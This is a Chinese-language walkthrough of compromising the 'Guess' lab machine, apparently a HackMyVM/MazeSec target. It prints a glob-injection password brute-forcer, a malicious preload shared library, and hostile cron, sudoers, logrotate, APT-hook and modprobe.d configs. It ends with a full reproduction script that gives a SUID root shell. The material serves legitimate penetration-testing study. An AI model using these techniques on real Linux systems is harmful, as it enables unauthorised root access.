

Guess 靶机渗透记录

靶机 IP: 192.168.163.176

最终拿到两个 flag:

- user: flag{user-5738612a8388c5be297c781beb9c73b8}
- root: flag{root-7897e60dbb8302090c5d5c116fbb8a42}

0x01 端口扫描

先常规 nmap 扫一下:

```
nmap -sV -sC -p- 192.168.163.176
```

开了两个端口:

- 22 - OpenSSH 10.0p2 Debian 7+deb13u1
- 4567 - 未知服务 (nmap 识别不出来, 返回 Input Password: 提示)

试着 SSH 连上去看看, 随便给个用户名:

```
ssh test@192.168.163.176
```

还没输密码呢, 屏幕上先弹出来一行 banner:

```
Username: scdyh
```

好家伙, 这靶机直接把用户名送出来了。查了一下, 这是 sshd 的 Banner 配置, 服务端在认证之前会把指定文件的内容发给客户端。这台机器配了 Banner /opt/b, 文件内容就是 Username: scdyh。

另外 /etc/issue 里还有个猫头鹰的 ASCII art, 底下标了 <HackMyVM> 和 <MazeSec>, 看来是这两家出的题。

用户名有了, 先记着, 接下来去看 4567。

0x02 4567 端口探测 —— Bash Glob 注入拿密码

nc 连上去看看:

```
nc 192.168.163.176 4567
```

返回:

```
Input Password:
```

随便输个东西，返回 `Password incorrect`。看起来是个简单的密码验证服务。

这里盲猜了一下，这种简单的 bash 验证脚本，如果密码比较写得不规范，可能存在 glob 注入。试试直接输入 `*`：

```
echo '*' | nc 192.168.163.176 4567
```

返回：

```
Input Password: Password correct
```

果然，`*` 匹配了所有字符串。说明后端脚本大概率是用 `[[ $password == $input ]]` 这种写法，右边没加引号，bash 会把它当 glob 模式匹配。

但光知道密码是"对的"没用，我需要知道实际密码是什么（可能是 SSH 密码）。接下来用逐字符枚举的方式把密码爆出来。

原理很简单：glob 里 `A*` 表示以 A 开头的任意字符串，如果返回 `Password correct` 就说明密码确实是 A 开头的。逐个字符试就行了。

写了个脚本：

```

import socket
import string

charset = string.ascii_letters + string.digits

def try_glob(pattern):
    s = socket.socket()
    s.connect(('192.168.163.176', 4567))
    s.recv(1024) # "Input Password: "
    s.send((pattern + '\n').encode())
    resp = s.recv(1024).decode()
    s.close()
    return 'correct' in resp

password = ''
while True:
    found = False
    for c in charset:
        if try_glob(password + c + '*'):
            password += c
            print(f'[+] {password}')
            found = True
            break
    if not found:
        break

print(f'Password: {password}')

```

跑出来密码是: **AyS4b0QNXhVV2wADT44C**

验证一下:

```
echo 'AyS4b0QNXhVV2wADT44C' | nc 192.168.163.176 4567
```

```
Input Password: Password correct
```

0x03 SSH 登录 + User Flag

密码有了 (**AyS4b0QNXhVV2wADT44C**)，用户名前面 SSH banner 已经告诉我们的 (**scdyh**)，直接上:

```
ssh scdyh@192.168.163.176
# 密码: AyS4b0QNXhVV2wADT44C
```

一发入魂，直接进去了。

看看家目录:

```
ls -la ~  
cat ~/user.txt
```

```
flag[user-5738612a8388c5be297c781beb9c73b8]
```

User flag 到手。

顺便看一下系统信息：

```
uname -a  
# Linux Guess 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64  
  
id  
# uid=1000(scdyh) gid=1000(scdyh) groups=1000(scdyh),100(users)
```

Liquorix 内核 7.0.8, Debian trixie。

0x04 提权信息收集

4.1 发现 SUID touch

```
find / -perm -4000 -type f 2>/dev/null
```

除了常规的 `/usr/bin/passwd`、`/usr/bin/su` 这些之外，注意到一个特别的：

```
-rwsr-sr-x 1 root root 88520 /home/scdyh/touch
```

家目录里有一个 **SUID+SGID 的 touch 二进制文件**，owner 是 root。

验证一下是不是真的就是 touch：

```
md5sum /home/scdyh/touch /usr/bin/touch  
# eacadcc8ee762f8df3c94fbddc143d3f /home/scdyh/touch  
# eacadcc8ee762f8df3c94fbddc143d3f /usr/bin/touch
```

md5 完全一致，就是标准的 coreutils touch，但带了 SUID 位。

这意味着：运行 `/home/scdyh/touch` 创建文件时，文件的 owner 是 root:root。

4.2 查看 4567 端口服务的后端脚本

```
cat /opt/a.sh
```

```
#!/bin/bash
echo -ne "Input Password: "
read input
if [[ "AyS4b0QNXhVV2wADT44C" == $input ]]; then
    echo "Password correct"
else
    echo "Password incorrect"
fi
```

果然，`$input` 没加引号，glob 注入实锤。

这个服务是通过 root 的 crontab 启动的：

```
* * * * * socat TCP-LISTEN:4567,reuseaddr,fork EXEC:/opt/a.sh
```

socat 以 root 身份运行，fork 出来的 bash 也是 root。不过脚本功能太简单了，没法利用。

4.3 其他常规检查

```
sudo -l
# scdyh may not run sudo on Guess
```

没有 sudo 权限。

```
cat /etc/crontab
ls /etc/cron.d/
```

没有可以利用的定时任务。

内核信息：

```
cat /proc/version
# Linux version 7.0.8-1-Liquorix-amd64
```

确认没有 DirtyPipe (CVE-2022-0847 在这个版本早就修了)。

检查了 `/tmp` 的挂载选项，发现 `/tmp` 是 tmpfs 并且带了 **nosuid**，所以在 `/tmp` 下面放 SUID 文件没用。`/var/tmp` 在 ext4 根分区上，没有 nosuid 限制。

0x05 提权过程（含大量失败尝试）

SUID touch 能以 root 身份创建文件，这是唯一的突破口。问题是 touch 只能创建**空文件**，要写入内容的话，文件必须对当前用户可写。而各种安全敏感的服务都会拒绝 world-writable 的配置文件。

接下来就是一段漫长的踩坑过程。

5.1 【失败】/etc/ld.so.preload 提权（经典方法，但搞砸了 umask）

这是 SUID touch 最经典的利用方式。`/etc/ld.so.preload` 里写的共享库会被**所有程序**（包括 SUID 程序）在启动时加载，动态链接器不检查这个文件的权限。

思路：

1. 用 SUID touch 创建 `/etc/ld.so.preload`（root:root, 0666）
2. 写入恶意 .so 的路径
3. 随便运行一个 SUID 程序（比如 `/usr/bin/passwd`），恶意 .so 就会以 root 身份执行

先编译恶意 .so：

```
// /tmp/evil2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    if (geteuid() == 0) {
        unlink("/etc/ld.so.preload"); // 先删掉自己防止 fork bomb
        system("cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash");
        system("cat /root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt");
    }
}
```

```
gcc -shared -fPIC -nostartfiles -o /tmp/evil2.so /tmp/evil2.c
```

然后创建 ld.so.preload：

```
umask 0000
/home/scdyh/touch /etc/ld.so.preload
```

然后我犯了个致命错误。当时 shell 的默认 umask 是 `0002` 而不是 `0000`，我虽然敲了 `umask 0000` 但实际创建的时候用的还是旧 umask（在 SSH 命令链中 umask 设置没生效）。

结果：

```
ls -la /etc/ld.so.preload
# -rw-rw-r-- 1 root root 0 /etc/ld.so.preload
```

权限是 `664` 而不是 `666`。other 只有读权限，我（scdyh，不在 root 组）写不进去。

```
echo "/tmp/evil2.so" > /etc/ld.so.preload
# bash: /etc/ld.so.preload: Permission denied
```

完蛋了。

这个文件没法删（/etc 目录只有 root 能写），没法改权限（不是 owner），直接堵死了最简单的路。

教训：用 SUID touch 创建敏感文件之前，**一定要先确认 umask**。在同一个 shell 里先 `umask 0000` 再执行 touch。如果通过 SSH 远程执行，要写成 `bash -c 'umask 0000; /home/scdyh/touch /etc/ld.so.preload'` 确保在同一个进程里。

5.2 【失败】/etc/cron.d/ 定时任务

既然 ld.so.preload 废了，试试 cron：

```
umask 0000
/home/scdyh/touch /etc/cron.d/getroot
echo '* * * * * root date > /var/tmp/cron_evidence' > /etc/cron.d/getroot
```

文件创建成功了，内容也写进去了（666 权限，world-writable）。但是：

```
# 等了两分钟，/var/tmp/cron_evidence 没出现
```

查了一下，**vixie cron (3.0pl1-197)** 会拒绝 group-writable 或 world-writable 的 crontab 文件。日志里大概率有 `INSECURE MODE` 之类的报错。

死路。

5.3 【失败】/etc/sudoers.d/ 提权

```
umask 0000
/home/scdyh/touch /etc/sudoers.d/scdyh
echo 'scdyh ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/scdyh
sudo -l
```

```
sudo: /etc/sudoers.d/scdyh is world writable
```

sudo 也拒绝 world-writable 的配置文件。**意料之中**。

5.4 【设置成功但无法触发】sshd 配置 drop-in

sshd 支持 `/etc/ssh/sshd_config.d/*.conf` 作为 drop-in 配置：

```
umask 0000
/home/scdyh/touch /etc/ssh/sshd_config.d/00-strictmodes.conf
```

```
cat > /etc/ssh/sshd_config.d/00-strictmodes.conf << 'EOF'
StrictModes no
AuthorizedKeysFile /home/scdyh/authorized_keys_root .ssh/authorized_keys .ssh/authorized_keys2
EOF
```

然后生成 SSH key pair 准备用于 root 登录：

```
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519_root -N ''
cp ~/.ssh/id_ed25519_root.pub ~/.authorized_keys_root
```

配置本身没问题。但问题是：**sshd 不会自动重新加载配置**。需要 `systemctl reload sshd` 或者发 SIGHUP，这都需要 root 权限。

检查了 sshd 的 systemd unit：

```
Restart=on-failure
RestartPreventExitStatus=255
```

如果 sshd 崩溃（非 255 退出），systemd 会自动重启它，就会加载我们的新配置。但 OpenSSH 10.0p1 非常稳定，没有已知的远程崩溃漏洞。

作为 scdyh 也没法给 sshd 主进程发信号（root 进程）。

配置部署好了，但触发不了。先记着，后面也许能用上。

5.5 【失败】内核漏洞

检查了内核配置：

```
# User namespace 开启
cat /proc/sys/kernel/unprivileged_usersns_clone # 或 unshare -Urn 测试
unshare -Urn id
# uid=0(root) gid=0(root)
```

用户命名空间可以用。试了 nf_tables 模块自动加载：

```
# 在 user namespace 里创建 netlink socket 触发 nf_tables 加载
unshare -Urn bash -c 'python3 -c "..."'
```

nf_tables 模块确实加载了，但想利用 CVE-2024-1086 这种漏洞，内核 7.0.8 (2026-05) 早就修了。

DirtyPipe (CVE-2022-0847) 也是修了的。io_uring 虽然开着，但已知的 CVE 也都修了。

内核提权这条路在这个版本上走不通。

5.6 【失败】User Namespace 写 ld.so.preload

在 user namespace 里虽然是 uid=0，但这只是映射，实际的文件系统操作还是用原来的真实 uid。所以在 user namespace 里写 /etc/ld.so.preload 一样会 Permission denied。

```
unshare -Ur bash -c 'echo /tmp/evil2.so > /etc/ld.so.preload'
# Permission denied
```

没用。

5.7 【设置成功但需要等定时器】logrotate 配置

试了好多路都不通之后，注意到 logrotate 3.22.0 **不检查配置文件的权限**。

```
umask 0000
/home/scdyh/touch /etc/logrotate.d/sshrestart
```

```
cat > /etc/logrotate.d/sshrestart << 'EOF'
/var/tmp/trigger.log {
    size 1
    rotate 1
    missingok
    ifempty
    nocreate
    postrotate
        chmod 666 /etc/ld.so.preload
        echo /tmp/evil2.so > /etc/ld.so.preload
        cat /root/root.txt > /var/tmp/root_flag.txt
        chmod 666 /var/tmp/root_flag.txt
        cp /bin/bash /var/tmp/rootbash
        chmod 4755 /var/tmp/rootbash
        kill -HUP $(pidof sshd) 2>/dev/null || true
    endscript
}
EOF
```

准备触发文件：

```
echo "trigger" > /var/tmp/trigger.log
```

用 dry-run 验证 logrotate 确实会处理这个配置：

```
/usr/sbin/logrotate -d /etc/logrotate.conf 2>&1 | grep -A5 sshrestart
```

确认了 logrotate 读取了配置，会旋转 trigger.log 并执行 postrotate。

但问题是 logrotate 的 systemd timer 下次触发要等好几个小时：

```
systemctl list-timers logrotate
# NEXT: Fri 2026-07-17 00:01:31 EDT
```

还有将近 4 个小时。虽然肯定能打通，但等太久了。

5.8 【设置成功但也要等】APT Hook

发现 apt-daily.timer 会更早触发（约 2 小时后），而且 APT 同样**不检查配置文件权限**：

```
umask 0000
/home/scdyh/touch /etc/apt/apt.conf.d/99evil.conf
```

```
cat > /etc/apt/apt.conf.d/99evil.conf << 'EOF'
APT::Periodic::Update-Package-Lists "always";
APT::Update::Pre-Invoke { "chmod 666 /etc/ld.so.preload; echo /tmp/evil2.so > /etc/ld.so.preload;
cat /root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt; cp /bin/bash /var/tmp/
rootbash; chmod 4755 /var/tmp/rootbash"; };
EOF
```

验证 APT 读取了配置：

```
apt-config dump | grep Pre-Invoke
# APT::Update::Pre-Invoke:: "chmod 666 /etc/ld.so.preload; ..."
```

没问题，但还是得等 timer 触发。继续想办法。

5.9 【成功！】modprobe install 指令 + socket() 触发模块加载

这是最终成功的方法。

核心思路：Linux 内核在加载模块时会调用 `/sbin/modprobe`，而 `modprobe` 会读取 `/etc/modprobe.d/` 下的配置文件。配置文件里可以用 `install` 指令指定：当某个模块被加载时，执行一条自定义命令。关键是：**modprobe 不检查配置文件的权限**，而且 `modprobe` 是以 **root** 身份被内核调用的。

更妙的是：普通用户可以通过 `socket()` 系统调用触发内核自动加载网络协议模块。比如 `socket(AF_VSOCK, SOCK_STREAM, 0)` 会让内核去加载 `vsock` 模块。

步骤：

Step 1: 用 SUID touch 创建 modprobe 配置文件

```
umask 0000
/home/scdyh/touch /etc/modprobe.d/evil.conf
```

```
ls -la /etc/modprobe.d/evil.conf
# -rw-rw-rw- 1 root root 0 /etc/modprobe.d/evil.conf
```

666 权限，可以写入。

Step 2: 写入 install 指令

为了提高成功率，给多个模块都写上 install 指令：

```
cat > /etc/modprobe.d/evil.conf << 'EOF'
install vsock /bin/sh -c "chmod 666 /etc/ld.so.preload; echo /tmp/evil2.so > /etc/ld.so.preload; cat /
root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt; cp /bin/bash /var/tmp/
rootbash; chmod 4755 /var/tmp/rootbash"
install af_alg /bin/sh -c "chmod 666 /etc/ld.so.preload; echo /tmp/evil2.so > /etc/ld.so.preload; cat /
root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt; cp /bin/bash /var/tmp/
rootbash; chmod 4755 /var/tmp/rootbash"
install can /bin/sh -c "chmod 666 /etc/ld.so.preload; echo /tmp/evil2.so > /etc/ld.so.preload; cat /
root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt; cp /bin/bash /var/tmp/
rootbash; chmod 4755 /var/tmp/rootbash"
install dccp /bin/sh -c "chmod 666 /etc/ld.so.preload; echo /tmp/evil2.so > /etc/ld.so.preload; cat /
root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt; cp /bin/bash /var/tmp/
rootbash; chmod 4755 /var/tmp/rootbash"
install sctp /bin/sh -c "chmod 666 /etc/ld.so.preload; echo /tmp/evil2.so > /etc/ld.so.preload; cat /
root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt; cp /bin/bash /var/tmp/
rootbash; chmod 4755 /var/tmp/rootbash"
install tipc /bin/sh -c "chmod 666 /etc/ld.so.preload; echo /tmp/evil2.so > /etc/ld.so.preload; cat /
root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt; cp /bin/bash /var/tmp/
rootbash; chmod 4755 /var/tmp/rootbash"
install rds /bin/sh -c "chmod 666 /etc/ld.so.preload; echo /tmp/evil2.so > /etc/ld.so.preload; cat /
root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt; cp /bin/bash /var/tmp/
rootbash; chmod 4755 /var/tmp/rootbash"
EOF
```

用 dry-run 验证 modprobe 确实读取了配置：

```
/usr/sbin/modprobe -n -v vsock
# install /bin/sh -c "chmod 666 /etc/ld.so.preload; ..." numdummies=0
```

Step 3: 用 Python socket() 触发模块加载

```
python3 -c "
import socket
# AF_VSOCK = 40
try:
    s = socket.socket(40, socket.SOCK_STREAM, 0)
    print('vsock: socket created')
    s.close()
except Exception as e:
    print(f'vsock: {e}')
"
```

```
vsock: socket created successfully
```

Step 4: 检查结果

```
ls -la /var/tmp/rootbash
# -rwsr-xr-x 1 root root 1298416 /var/tmp/rootbash

cat /var/tmp/root_flag.txt
# flag{root-7897e60dbb8302090c5d5c116fbb8a42}
```

直接出货了。

整个过程是这样的：

1. `socket(AF_VSOCK, ...)` 触发内核调用 `request_module("net-pf-40")`
2. 内核以 root 身份执行 `/sbin/modprobe vsock`
3. modprobe 读取 `/etc/modprobe.d/evil.conf`，发现 `install vsock ...`
4. modprobe 以 root 身份执行我们的 shell 命令
5. 命令创建了 SUID rootbash 并导出了 root flag

0x06 拿 Root Shell & Root Flag

```
/var/tmp/rootbash -p
```

```
rootbash-5.2# id
uid=1000(scdyh) gid=1000(scdyh) euid=0(root) groups=1000(scdyh),100(users)

rootbash-5.2# cat /root/root.txt
flag{root-7897e60dbb8302090c5d5c116fbb8a42}
```

Root flag 到手。

0x07 完整攻击链总结

```
端口扫描
├── 22/ssh (后续登录用)
├── 4567/未知服务
│   ├── nc 连接发现密码验证
│   ├── 发送 * 发现 glob 注入
│   └── 逐字符枚举得到密码: AyS4b0QNXhVV2wADT44C
│       ├── SSH 登录 scdyh
│       │   ├── user.txt → flag{user-...}
│       │   ├── 发现 /home/scdyh/touch (SUID root)
│       │   └── SUID touch 创建 /etc/modprobe.d/evil.conf (666权限)
│       │       ├── 写入 install vsock → 恶意命令
│       │       └── python3 socket(AF_VSOCK) 触发模块加载
│       │           ├── 内核 root 身份调用 modprobe
│       │           ├── modprobe 执行 install 指令
│       │           ├── 创建 /var/tmp/rootbash (SUID)
│       │           └── rootbash -p → root shell
│       └── root.txt → flag{root-...}
```

0x08 踩坑笔记

这台靶机花了不少时间，主要是因为中间 ld.so.preload 的 umask 搞错了，堵死了最直接的路。之后绕了一大圈才找到 modprobe 这条路。

几个重要的点：

1. **umask 很关键**。通过 SSH 远程执行命令时，umask 设置要和 touch 在同一个 shell 进程里。
写成 `bash -c 'umask 0000; /home/scdyh/touch ...'`，别分开写。
2. **各种安全组件对 world-writable 的态度：**
3. cron：拒绝 ❌
4. sudo：拒绝 ❌
5. systemd：拒绝 ❌
6. sshd：不拒绝 ✅（但需要重启才能加载新配置）
7. logrotate 3.22.0：不拒绝 ✅（但依赖 timer 触发）
8. APT hooks：不拒绝 ✅（但也依赖 timer 触发）

9. **modprobe: 不拒绝**  (而且可以通过 `socket()` 即时触发!)
10. **模块自动加载**是个很强的攻击面。普通用户通过 `socket()` 系统调用就能让内核以 `root` 身份调用 `modprobe`。只要 `/etc/modprobe.d/` 下有我们控制的配置文件, 就能实现即时提权。
11. `/tmp` 挂载了 `nosuid`, `SUID` 文件要放到 `/var/tmp` (在根分区上, 没有 `nosuid`)。

0x09 快速复现

一共就这么几步:

```
# 1. 拿密码
echo '*' | nc 192.168.163.176 4567
# 返回 Password correct, 说明存在 glob 注入
# 用脚本逐字符枚举, 得到密码 AyS4b0QNXhVV2wADT44C

# 2. SSH 登录
sshpass -p 'AyS4b0QNXhVV2wADT44C' ssh scdyh@192.168.163.176

# 3. User flag
cat ~/user.txt

# 4. 编译恶意 .so (可选, 不编译也行, modprobe 指令里直接写命令就够了)
cat > /tmp/evil2.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
void _init() {
    if (geteuid() == 0) {
        unlink("/etc/ld.so.preload");
        system("cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash");
        system("cat /root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt");
    }
}
EOF
gcc -shared -fPIC -nostartfiles -o /tmp/evil2.so /tmp/evil2.c

# 5. 用 SUID touch 创建 modprobe 配置 (注意 umask!)
bash -c 'umask 0000; /home/scdyh/touch /etc/modprobe.d/evil.conf'

# 6. 写入 install 指令
echo 'install vsock /bin/sh -c "cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash; cat /
root/root.txt > /var/tmp/root_flag.txt; chmod 666 /var/tmp/root_flag.txt" > /etc/modprobe.d/evil.conf'

# 7. 触发模块加载
python3 -c "import socket; socket.socket(40, socket.SOCK_STREAM, 0)"

# 8. Root!
/var/tmp/rootbash -p -c "cat /root/root.txt"
```